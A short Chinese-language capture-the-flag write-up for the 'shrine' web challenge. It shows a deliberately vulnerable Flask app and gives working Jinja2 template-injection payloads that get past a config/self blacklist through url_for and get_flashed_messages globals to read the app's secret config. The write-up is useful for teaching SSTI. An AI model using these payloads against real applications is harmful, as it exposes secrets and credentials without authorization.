攻防世界web--shrine
攻防世界web--shrine
【难度】:3
【要点】:ssti注入
将所给的代码格式化:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
可以知道,flag储存在app.config['FLAG']中,并且在/shrine/路由接受shrine参数,有config和self的黑名单并过滤了括号
思路:用url_for或get_flash_message访问全局变量。Flask 默认提供了一些全局函数(如 url_for、get_flashed_messages),它们可以访问 current_app(即 app 对象)
payload:{{url_for.__globals__['current_app'].config['FLAG']}}或
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
为什么config在黑名单中,但是最后的payload中却有config?
黑名单的运作机制:
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
实际是在模板头部生成{% set config=None %}{% set self=None %}
仅将模板中的 变量名 config 和 self 设为 None,生效范围为变量名,不会影响对象属性'config' 。payload的 config 是 属性访问(current_app.config),不是独立变量名,因此不会被黑名单影响。

浙公网安备 33010602011771号